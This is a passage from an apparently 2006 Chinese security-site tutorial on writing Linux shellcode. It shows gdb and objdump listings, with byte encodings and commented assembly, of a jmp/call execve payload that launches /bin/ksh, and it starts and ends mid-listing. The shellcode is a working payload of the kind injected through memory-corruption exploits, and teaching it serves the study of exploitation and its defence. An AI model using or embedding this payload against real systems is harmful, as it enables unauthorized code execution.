| 域名空间 下载中心 社区论坛 信息公告 MY小屋 |
![]() |
联系我们 设为首页 加入收藏 |
|
首页 | 新闻资讯 | 编程开发 | 网页设计 | 图形图象 | 网络媒体 | 网站模板 | 数 据 库 | 投稿 论坛 | 操作系统 | 系统优化 | 网络安全 | 黑客技术 | 硬件学堂 | 硬件报价 | 服 务 器 | 地图 专题 | 应用软件 | 聊天通讯 | Q Q 专栏 | 建站经验 | 在线工具 | 站长Club | 注 册 表 | 旧版 社会 | 游戏娱乐 | 设计欣赏 | 疑难解答 | 社区论坛 | 韩国素材 | 素材图库 | 广告服务 | 服务 |
| 新版上线![旧版] | |||||
注:打开慢时请稍等
书写Linux下自己的shellcodehttp://www.iyit.net 日期:2006-4-29 23:23:54 来源: 点击: |
"); } [scz@ /home/scz/src]%26gt; gcc -o shellcodeasm -g -ggdb shellcodeasm.c [scz@ /home/scz/src]%26gt; gdb shellcodeasm GNU gdb 4.17.0.11 with Linux support This GDB was configured as "i386-redhat-linux"... (gdb) disas main Dump of assembler code for function main: 0x8048398 : pushl %ebp 0x8048399 : movl %esp,%ebp 0x804839b : jmp 0x80483bc 0x804839d : popl %esi 0x804839e : movl %esi,0x9(%esi) 0x80483a1 : xorl %eax,%eax 0x80483a3 : movb %al,0x8(%esi) 0x80483a6 : movl %eax,0xd(%esi) 0x80483a9 : movb $0xb,%al 0x80483ab : movl %esi,%ebx 0x80483ad : leal 0x9(%esi),%ecx 0x80483b0 : leal 0xd(%esi),%edx 0x80483b3 : int $0x80 0x80483b5 : xorl %ebx,%ebx 0x80483b7 : movl %ebx,%eax 0x80483b9 : incl %eax 0x80483ba : int $0x80 0x80483bc : call 0x804839d 0x80483c1 : das 0x80483c2 : boundl 0x6e(%ecx),%ebp 0x80483c5 : das 0x80483c6 : imull $0x0,0x68(%ebx),%esi 0x80483ca : leave 0x80483cb : ret End of assembler dump. (gdb) objdump -j .text -Sl shellcodeasm | more /main 得到如下结果: 08048398 : main(): /home/scz/src/shellcodeasm.c:2 { 8048398: 55 pushl %ebp 8048399: 89 e5 movl %esp,%ebp /home/scz/src/shellcodeasm.c:3 __asm__ 804839b: eb 1f jmp 80483bc 804839d: 5e popl %esi 804839e: 89 76 09 movl %esi,0x9(%esi) 80483a1: 31 c0 xorl %eax,%eax 80483a3: 88 46 08 movb %al,0x8(%esi) 80483a6: 89 46 0d movl %eax,0xd(%esi) 80483a9: b0 0b movb $0xb,%al 80483ab: 89 f3 movl %esi,%ebx 80483ad: 8d 4e 09 leal 0x9(%esi),%ecx 80483b0: 8d 56 0d leal 0xd(%esi),%edx 80483b3: cd 80 int $0x80 80483b5: 31 db xorl %ebx,%ebx 80483b7: 89 d8 movl %ebx,%eax 80483b9: 40 incl %eax 80483ba: cd 80 int $0x80 80483bc: e8 dc ff ff ff call 804839d 80483c1: 2f das 80483c2: 62 69 6e boundl 0x6e(%ecx),%ebp 80483c5: 2f das 80483c6: 6b 73 68 00 imull $0x0,0x68(%ebx),%esi /home/scz/src/shellcodeasm.c:24 (" jmp 0x1f # 3 bytes popl %esi # 1 byte movl %esi,0x9(%esi) # 3 bytes xorl %eax,%eax # 2 bytes movb %eax,0x8(%esi) # 3 bytes movl %eax,0xd(%esi) # 3 bytes movb $0xb,%al # 2 bytes movl %esi,%ebx # 2 bytes leal 0x9(%esi),%ecx # 3 bytes leal 0xd(%esi),%edx # 3 bytes int $0x80 # 2 bytes xorl %ebx,%ebx # 2 bytes movl %ebx,%eax # 2 bytes 编辑: [发送给好友] [打印本页] [关闭窗口] [返回顶部] 上一篇:Linux开发人员发布WindowsXP仿真桌面 下一篇:FreeBSDshellcode编写攻略 转载请注明来源:www.iyit.net 特别声明: 本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。 |
| 最新更新 | 热点排行 | 推荐新闻 | |||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||
| 友情链接 | ||||||
| 设置首 页 - 版权声明 - 广告服务 - 关于我们 - 联系我们 - 友情连接 |
| |||||||